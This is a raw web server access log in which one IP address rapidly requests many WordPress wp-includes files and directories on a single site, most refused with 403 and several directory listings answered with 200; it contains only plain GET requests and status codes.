45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/customize/ HTTP/1.1" 200 2247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/images/ HTTP/1.1" 200 1903 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:41 -0400] "GET /broadweb.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/certificates/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/js/ HTTP/1.1" 200 4135 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
